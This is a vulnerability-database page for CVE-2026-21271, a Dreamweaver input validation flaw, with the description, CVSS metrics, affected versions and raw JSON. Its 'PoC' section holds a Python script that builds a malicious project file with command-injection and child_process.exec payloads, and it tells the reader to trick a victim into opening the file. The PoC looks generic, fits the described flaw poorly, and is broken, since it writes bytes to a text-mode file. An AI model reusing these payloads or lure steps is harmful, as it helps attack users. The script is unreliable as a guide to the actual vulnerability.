Security Vulnerability Report
中文
CVE-2026-21271 CVSS 8.6 HIGH

CVE-2026-21271

Published: 2026-01-13 19:16:25
Last Modified: 2026-01-14 20:50:29

Description

Dreamweaver Desktop versions 21.6 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file and scope is changed.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:dreamweaver:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Dreamweaver Desktop <= 21.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21271 PoC - Adobe Dreamweaver Malicious File # This PoC demonstrates the improper input validation vulnerability # Usage: Open the generated malicious file with Dreamweaver <= 21.6 import struct import os def generate_malicious_dreamweaver_file(output_path): """ Generate a malicious Dreamweaver file that exploits CVE-2026-21271 (Improper Input Validation) """ # Dreamweaver project file header with malicious payload malicious_content = b""" <?xml version="1.0" encoding="UTF-8"?> <dreamweaver> <site> <name>Malicious Site</name> <!-- Improper input validation allows code injection --> <path>${IFS}&&calc.exe&&</path> <upload-url>javascript:void(exec('calc.exe'))</upload-url> </site> <file> <!-- Embedded payload that bypasses validation --> <![CDATA[ <script> // Malicious JavaScript injection require('child_process').exec('calc.exe'); </script> ]]> </file> </dreamweaver> """ with open(output_path, 'w', encoding='utf-8') as f: f.write(malicious_content) print(f"[+] Malicious Dreamweaver file created: {output_path}") print(f"[!] Send this file to victim and trick them to open it in Dreamweaver") if __name__ == "__main__": output_file = "CVE-2026-21271_poc.dwxr" generate_malicious_dreamweaver_file(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21271", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:24.543", "lastModified": "2026-01-14T20:50:28.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dreamweaver Desktop versions 21.6 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file and scope is changed."}, {"lang": "es", "value": "Las versiones 21.6 y anteriores de Dreamweaver Desktop se ven afectadas por una vulnerabilidad de validación de entrada incorrecta que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. La explotación de este problema requiere interacción del usuario en el sentido de que la víctima debe abrir un archivo malicioso y el alcance se modifica."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dreamweaver:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.7", "matchCriteriaId": "18B387B5-7F08-419A-B3EC-3CB93C7E9288"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dreamweaver/apsb26-01.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}